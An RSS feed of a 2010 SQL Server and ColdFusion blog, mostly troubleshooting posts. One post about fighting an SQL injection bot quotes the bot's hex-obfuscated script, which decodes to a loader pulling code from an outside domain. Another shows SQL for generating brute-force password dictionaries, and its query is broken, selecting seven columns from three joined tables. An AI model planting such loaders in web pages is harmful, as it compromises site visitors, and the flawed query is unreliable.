<?xml version="1.0" encoding="utf-8"?>

			<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:cc="http://web.resource.org/cc/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd">

			<channel>
			<title>Experimental Playground - SQL</title>
			<link>http://www.experimental-playground.com/index.cfm</link>
			<description></description>
			<language>en-us</language>
			<pubDate>Tue, 07 Sep 2010 01:47:16 -0400</pubDate>
			<lastBuildDate>Mon, 12 Jul 2010 19:33:00 -0400</lastBuildDate>
			<generator>BlogCFC</generator>
			<docs>http://blogs.law.harvard.edu/tech/rss</docs>
			<managingEditor>admin@experimental-playground.com</managingEditor>
			<webMaster>admin@experimental-playground.com</webMaster>
			<itunes:subtitle></itunes:subtitle>
			<itunes:summary></itunes:summary>
			<itunes:category text="Technology" />
			<itunes:category text="Technology">
				<itunes:category text="Podcasting" />
			</itunes:category>
			<itunes:category text="Technology">
				<itunes:category text="Tech News" />
			</itunes:category>
			<itunes:keywords></itunes:keywords>
			<itunes:author></itunes:author>
			<itunes:owner>
				<itunes:email>admin@experimental-playground.com</itunes:email>
				<itunes:name></itunes:name>
			</itunes:owner>
			
			<itunes:explicit>no</itunes:explicit>
			
			<item>
				<title>SQL - The package path referenced an object that cannot be found</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/7/12/SQL--The-package-path-referenced-an-object-that-cannot-be-found</link>
				<description>
				
				What do you do when you see this error in SQL Server 2005?

Look further down the error message and you may notice something like this...
&lt;strong&gt;&quot;Could not set \Package\Job.Disable value to false&quot;&lt;/strong&gt;

This is usually caused by the dynamic linked library (dll) dts.dll becoming unregistered. Whether due to an in-place upgrade or service pack install, even some hot fixes may cause this. Never fear though - crack open a DOS prompt or Start-&gt;Run and issue the following command

&lt;strong&gt;regsvr32 dts.dll&lt;/strong&gt;

You should receive a message from the OS stating that the dll was successfully registered. Try to run your job again and you should find that it runs this time. 
				</description>
				
				<category>Randomness</category>
				
				<category>SQL</category>
				
				<pubDate>Mon, 12 Jul 2010 19:33:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/7/12/SQL--The-package-path-referenced-an-object-that-cannot-be-found</guid>
				
				
			</item>
			
			<item>
				<title>Coldfusion 9 and Empty result set queries - Part 2</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/7/1/Coldfusion-9-and-Empty-result-set-queries--Part-2</link>
				<description>
				
				Progress!

I must say I&apos;m a bit perturbed by what I found in researching this problem. I also need to make a clarification in my test code, I over simplified the simple query. If you were to run that query, after setting up the table, you would find that it does indeed work and you&apos;d be saying &quot;that guy&apos;s crazy, it works fine!&quot; The problem comes in when records are eliminated due to aggregation, GROUP BY and such. 

The following two links will be of help.

Adobe forum where it&apos;s being discussed:&lt;br /&gt;
&lt;a href=&quot;http://forums.adobe.com/message/2631903&quot;&gt;http://forums.adobe.com/message/2631903&lt;/a&gt; 

More importantly, the bug tracker entry.&lt;br /&gt;
&lt;a href=&quot;http://cfbugs.adobe.com/cfbugreport/flexbugui/cfbugtracker/main.html#bugId=80384&quot;&gt;http://cfbugs.adobe.com/cfbugreport/flexbugui/cfbugtracker/main.html#bugId=80384&lt;/a&gt;

Notice how they list this as a BENIGN problem and that there is a work around. Benign my ass! I urge everyone to go to the bug tracker and VOTE for this to be fixed.

So, for the work around? One acceptable temporary (IMO) solution is to set up a JDBC DSN to connect to your SQL Server database. In my case I needed a 2008 JDBC driver.

This brings me to another sore point with information on the internet. Far too often I&apos;ve seen &quot;helpful&quot; people post solutions to problems only to gloss over 90% of the information used to FIX it. Not everyone is born with the knowledge to construct a JDBC connection string, or the ability to pull a driver class out of their ass. So here&apos;s my contribution to the half-assed help pile.

This will help those using &lt;strong&gt;Coldfusion 9.0&lt;/strong&gt;

&lt;strong&gt;Microsoft JDBC 2.0 and 3.0 driver links.&lt;/strong&gt;

MS JDBC 3.0 &lt;a href=&quot;http://www.microsoft.com/downloads/details.aspx?FamilyID=%20a737000d-68d0-4531-b65d-da0f2a735707&amp;displaylang=en#filelist&quot;&gt;http://www.microsoft.com/downloads/details.aspx?FamilyID=%20a737000d-68d0-4531-b65d-da0f2a735707&amp;displaylang=en#filelist&lt;/a&gt;
&lt;br /&gt;
MS JDBC 2.0 &lt;a href=&quot;http://www.microsoft.com/downloads/en/confirmation.aspx?familyId=99b21b65-e98f-4a61-b811-19912601fdc9&amp;displayLang=en&quot;&gt;http://www.microsoft.com/downloads/en/confirmation.aspx?familyId=99b21b65-e98f-4a61-b811-19912601fdc9&amp;displayLang=en&lt;/a&gt;
&lt;br /&gt;


&lt;ol&gt;
&lt;li&gt;Download one of those two, which ever you want. I&apos;m using 3.0&lt;/li&gt;
&lt;li&gt;Extract to a directory, any will do we&apos;re going to move the files when we&apos;re done anyway&lt;/li&gt;
&lt;li&gt;Now, if you&apos;re using 3.0 you will find, buried in the directory structure that just extracted, two files
&lt;ul&gt;&lt;li&gt;sqljdbc.jar&lt;/li&gt;&lt;li&gt;sqljdbc4.jar&lt;/li&gt;&lt;/ul&gt;
Only use ONE of these, for CF 9 you will want to use &lt;strong&gt;sqljdbc4.jar&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Copy the &lt;strong&gt;sqljdbc4.jar&lt;/strong&gt; to
&lt;ul&gt;&lt;li&gt;cf_root/cfusion/lib (server configuration)&lt;/li&gt;
&lt;li&gt;cf_webapp_root/WEB-INF/cfusion/lib (multiserver or J2EE configuration).&lt;/li&gt;
&lt;/ul&gt;
I&apos;m using Multiserver for this example so I put it in &lt;ul&gt;&lt;li&gt;
&quot;Z:\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\&quot;&lt;/li&gt;&lt;/ul&gt;
&lt;li&gt;RESTART COLDFUSION&lt;/li&gt;
&lt;/ol&gt;

Now, you will need to log in to the CF Administrator and create a new datasource. 
&lt;ol&gt;
&lt;li&gt;Give it a name,&lt;/li&gt;
&lt;li&gt;and then select &quot;OTHER&quot; from the drop down list&lt;/li&gt;
&lt;li&gt;and click ADD&lt;/li&gt;
&lt;li&gt;Now for a JDBC URL, if you&apos;re super leet you don&apos;t need me to tell you, but for those &quot;lamers&quot; out there here&apos;s the JDBC URL that should get you by.&lt;br /&gt;
jdbc:sqlserver://server name;databaseName=database name&lt;br /&gt;
If you happen to be running multiple instances of SQL Server or are on a different port then this should work for you&lt;br /&gt;
jdbc:sqlserver://server name/instance name:port number;databaseName=database name
&lt;/li&gt;
&lt;li&gt;Driver Class will be &lt;br /&gt;
com.microsoft.sqlserver.jdbc.SQLServerDriver&lt;/li&gt;
&lt;li&gt;Driver Name (you can name it whatever you want) SQL Server 2008 JDBC&lt;/li&gt;
&lt;li&gt;Username: database user name&lt;/li&gt;
&lt;li&gt;Password: database user password&lt;/li&gt;
&lt;/ol&gt;


The driver works great so far. If I run into any idiosyncrasies I&apos;ll post about it! 
				</description>
				
				<category>SQL</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Thu, 01 Jul 2010 16:20:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/7/1/Coldfusion-9-and-Empty-result-set-queries--Part-2</guid>
				
				
			</item>
			
			<item>
				<title>Coldfusion 9 and Empty result set queries</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/6/30/Coldfusion-9-and-Empty-result-set-queries</link>
				<description>
				
				I&apos;ve run into an interesting problem on one of our CF 9 servers. Here&apos;s the skinny, there&apos;s some code that looks like

&lt;code&gt;
&lt;cfquery name=&quot;qryInfo&quot; datasource=&quot;myDB&quot;&gt;
    SELECT name
    FROM actors
    WHERE id = &lt;cfqueryparam value=&quot;#arguments.actorID#&quot; cfsqltype=&quot;cf_sql_integer&quot; /&gt;
&lt;/cfquery&gt;

&lt;cfif qryInfo.recordCount&gt;

&lt;!--- do something here ---&gt;

...

...

&lt;/cfif&gt;

&lt;/code&gt;

Now this is obviously a much more simplified (not to mention completely different data/tables/etc from what the real system is doing) this is just an example. 

This code works as you would expect, the query executes and returns some data, the IF block does its thing and all is well, right? Unless the query doesn&apos;t return anything. Now in past versions of CF this has never been a problem, an empty query object is returned and again, all is well. 

The problem I&apos;ve encountered on one of our CF 9 servers is this: If the query returns nothing, the IF block fails stating that recordcount is undefined in qryInfo. If I dump qryInfo, the same error: &quot;qryInfo is undefined&quot; 

I created some test code and placed it on another CF 9 server in the center and it works as expected, no error, just an empty query object. How bizarre I say! The only difference I&apos;ve been able to see is that one box (the one that flips out) is 64 bit, and the other (the one that plays nice) is 32 bit.


This warrants further testing and investigation. I&apos;ll keep you posted.

&lt;strong&gt;UPDATE:&lt;/strong&gt;
&lt;br /&gt;
Tested on another CF 9 x64 server and it works just fine. Maybe the install is borked? 
				</description>
				
				<category>SQL</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Wed, 30 Jun 2010 18:51:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/6/30/Coldfusion-9-and-Empty-result-set-queries</guid>
				
				
			</item>
			
			<item>
				<title>Terabase!</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/5/20/Terabase</link>
				<description>
				
				Ok, so maybe I&apos;m obsessing a bit but I just couldn&apos;t help myself. I have created a... 1TB (yes that&apos;s terabyte) database on my home PC. Not only is the database itself 1TB but there is also a 500GB log file and 500GB tempdb (all pre-grown) to total 2TB of database goodness.

Now, why the madness you ask?

If you read the two previous posts, those probably have something to do with it. You see my web server ran out of space trying to do this little exercise so I had to change venue. To date I have generated permutations of strings from 1 to 6 characters in length to total a a staggering 

&lt;strong&gt;2,238,976,116&lt;/strong&gt; rows of data. (yes that&apos;s billion with a B)

How long does a query take to execute? Oh, just a few milliseconds. The first query against the data took about 23 seconds, not bad considering this is on what is classified as a &quot;home PC&quot; sporting a quad core 2.8GHz processor with 8GB of RAM and a 7TB RAID 5 on 6 disks. After the query plan is cached, it takes merely the blink of an eye to return a word from the dictionary.

To populate this table took an ever increasing amount of time. The first strings of length 1 to 4 took from only a blink to just under 30 seconds. 5 characters took just over 9 minutes with 6 characters pushing 13 hours. 

What&apos;s next? Why 7 character strings of course, that will put this at over 70 billion rows and pushing 600GB of data space. 
				</description>
				
				<category>Randomness</category>
				
				<category>SQL</category>
				
				<pubDate>Thu, 20 May 2010 01:07:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/5/20/Terabase</guid>
				
				
			</item>
			
			<item>
				<title>Dictionaries Continued...</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/5/15/Dictionarys-Continued</link>
				<description>
				
				One word of caution, if you decide to actually generate a dictionary, you will need &lt;strong&gt;loads&lt;/strong&gt; of disk space. Let&apos;s do some math!

In order to calculate the number of permutations you need the follow information:

&lt;ol&gt;
&lt;li&gt;How large is your base set (alphabet in our case) for this example that I&apos;ve laid out that number would be 36, 26 letters and 10 numbers&lt;/li&gt;
&lt;li&gt;How long is the string you are constructing?&lt;/li&gt;
&lt;/ol&gt;

Knowing this information, we can plug this into the formula &lt;strong&gt;n&lt;sup&gt;r&lt;/sup&gt;&lt;/strong&gt; where n = base set size and r = length of string to construct. You can see how this can get out of control quite quickly :)

Here is a list containing the number of permutations for a given string length from 1 to 10

&lt;ol&gt;
&lt;li&gt;36&lt;/li&gt;
&lt;li&gt;1296&lt;/li&gt;
&lt;li&gt;46656&lt;/li&gt;
&lt;li&gt;1679616&lt;/li&gt;
&lt;li&gt;60466176&lt;/li&gt;
&lt;li&gt;2176782336&lt;/li&gt;
&lt;li&gt;78364164096&lt;/li&gt;
&lt;li&gt;2821109907456&lt;/li&gt;
&lt;li&gt;101559956668416&lt;/li&gt;
&lt;li&gt;3.65615844006298e+15 (big damn number)&lt;/li&gt;
&lt;/ol&gt;

Let&apos;s take this a step further. If we are going to store the permutations we need to know how much disk space we&apos;re going to need. In order to get a rough estimate let&apos;s assume we are going to store this as non-unicode data so 1 byte per character. That would give a result of 548,549,148,672 bytes (548 GB) to store all of the permutations of a 7 character string! How much for 10 you say? 

3.65615844006298e+15 * 10 = 3.65615844006298e+16 bytes so that gives us 36.5 Petabytes :) 

This brings us to the question, how long of a password is good enough to escape most brute force attacks? It depends on who your attacker is, but if you look at the data it would take quite awhile to produce let alone process a list of passwords longer than 6 characters. Keep in mind however that most dictionaries are just that, dictionaries containing all words in a given language so don&apos;t choose something that&apos;s in one! ever! and you might just be ok, then again...maybe not :) 
				</description>
				
				<category>Randomness</category>
				
				<category>SQL</category>
				
				<pubDate>Sat, 15 May 2010 13:51:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/5/15/Dictionarys-Continued</guid>
				
				
			</item>
			
			<item>
				<title>So you say you want a Brute Force Dictionary?</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/5/14/So-you-say-you-want-a-Brute-Force-Dictionary</link>
				<description>
				
				Look no further than your very own DBMS. Utilizing some basic sets we can have the DBMS produce anything we ask. For this example I have created two tables as follows.

&lt;code&gt;
CREATE TABLE [dbo].[alphabet](
	[letter] [char](1) NOT NULL,
 CONSTRAINT [PK_alphabet] PRIMARY KEY CLUSTERED 
(
	[letter] ASC)
)
&lt;/code&gt;

This table shall hold our alphabet (in case that wasn&apos;t totally obvious) I will be using A-Z and 0-9 as my alphabet.

&lt;code&gt;
CREATE TABLE [dbo].[dictionary](
	[word] [varchar](50) NOT NULL,
 CONSTRAINT [PK_dictionary] PRIMARY KEY CLUSTERED 
([word] ASC)
)
&lt;/code&gt;

and this table shall be our permanent storage of our generated dictionary.


That&apos;s all you need, right there, yep...that&apos;s it. OK OK I&apos;ll write the query for you too.

&lt;code&gt;
SELECT
   a.letter + b.letter + c.letter + d.letter + e.letter + f.letter + g.letter as word
FROM
   alphabet as a,
   alphabet as b,
   alphabet as c
&lt;/code&gt;

Execute that query and wait a few seconds and you will then have a complete list of every 3 alphanumeric character combination. Pretty neat eh? 
				</description>
				
				<category>SQL</category>
				
				<pubDate>Fri, 14 May 2010 11:15:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/5/14/So-you-say-you-want-a-Brute-Force-Dictionary</guid>
				
				
			</item>
			
			<item>
				<title>portal.acras.in - garbage sucking lame ass bitches</title>
				<link>http://www.experimental-playground.com/index.cfm/2010/2/1/portalacrasin--garbage-sucking-lame-ass-bitches</link>
				<description>
				
				Today was...invigorating... to say the least at my day job. We maintain a rather large code base for a client of ours that contained some older code in its deepest darkest nether-regions that allowed for some SQL injection to take place. Although I know I was likely fighting against some junk ass bot, it felt like my opponent was flesh and blood. 

Here&apos;s how it went down:

BOT: Injects silly script tag  &lt;code&gt;&lt;script&gt;my lame ass portal full of shit&lt;/script&gt;&lt;/code&gt; &lt;br /&gt;
or...&lt;code&gt;&lt;script&gt;
 var news=&quot;b20b3cb73b63b72b69b70b74b20b73b72b63b3db22b68b74b74b70b3ab2fb2fb70b6fb72b74b61b6cb2eb61b63b72b61b73b2eb69b6eb2fb6db6cb2eb70b68b70b22b3eb3cb2fb73b63b72b69b70b74b3e&quot;;
 docs = news.replace(/b/g,&apos;%&apos;);
document.write(that var named docs that I&apos;m not actually going to put in here...);
 &lt;/script&gt;
&lt;/code&gt;&lt;br /&gt;
ME: finds no trace in CF error logs and sets up a kill script in SQL to remove junk, continues to look for the entry point.&lt;br /&gt;
BOT: Injects more crap. This time changing the script&apos;s contents.&lt;br /&gt;
ME: creates a trigger on the targeted table to remove on update/insert - suck a fat one. continues to look for entry point.&lt;br /&gt;
BOT: ...&lt;br /&gt;
BOT: ...&lt;br /&gt;
BOT: ...&lt;br /&gt;
BOT: modifies script tags just enough to bypass trigger checks.&lt;br /&gt;
ME: hm, how clever you piece of junk.&lt;br /&gt;
ME: locks down the site&apos;s datasource to read only and proceeds to setup read and read/write dsns, some regex find and replace goodness and...once again...suck it!&lt;br /&gt;

I do enjoy a good duel from time to time, but not when I&apos;ve got shit to do. So, whoever you are &quot;portal.acras.in&quot; nice try, but not good enough. DIAF KKTHXBYE.&lt;br /&gt; 
				</description>
				
				<category>SQL</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Mon, 01 Feb 2010 21:29:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2010/2/1/portalacrasin--garbage-sucking-lame-ass-bitches</guid>
				
				
			</item>
			
			<item>
				<title>lolsql...yes indeed</title>
				<link>http://www.experimental-playground.com/index.cfm/2009/12/3/lolsqlyes-indeed</link>
				<description>
				
				excerpt from the site...

&lt;code&gt;
HAI!
I&apos;M IN UR `table`
PLZ MAKES `column` LIEKS `value`
I CAN HAZ `column` NO WAI LIEK `value`
KTHNXBYE
&lt;/code&gt;

&lt;a href=&quot;http://www.aaronbassett.com/2009/i-can-haz-lolsql/&quot;&gt;http://www.aaronbassett.com/2009/i-can-haz-lolsql/&lt;/a&gt;

there&apos;s even a parser...yeah, wow...

&lt;a href=&quot;http://github.com/jnthn/lolsql/blob/master/icanhazsql.p6&quot;&gt;http://github.com/jnthn/lolsql/blob/master/icanhazsql.p6&lt;/a&gt; 
				</description>
				
				<category>Randomness</category>
				
				<category>SQL</category>
				
				<pubDate>Thu, 03 Dec 2009 15:43:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2009/12/3/lolsqlyes-indeed</guid>
				
				
			</item>
			
			<item>
				<title>Whacky server restarts...Coldfusion XML</title>
				<link>http://www.experimental-playground.com/index.cfm/2009/7/28/whacky-server-restarts-coldfusion-xml</link>
				<description>
				
				So I&apos;ve been working on a project for the past couple of days that involves fetching XML from a remote source and parsing it, then throwing it into a SQL Server database. Easy enough right?...wrong!

Every few iterations of the processing loop causes the server to do a reboot. I at first thought it might have something to do with Coldfusion 8&apos;s XML parsing, however after setting up a virtual environment, I have narrowed it down to SQL Server. The server in question is running SQL Server 2005 SP3 64bit.

The plot thickens... 
				</description>
				
				<category>SQL</category>
				
				<category>ColdFusion</category>
				
				<pubDate>Tue, 28 Jul 2009 02:00:00 -0400</pubDate>
				<guid>http://www.experimental-playground.com/index.cfm/2009/7/28/whacky-server-restarts-coldfusion-xml</guid>
				
				
			</item>
			</channel></rss>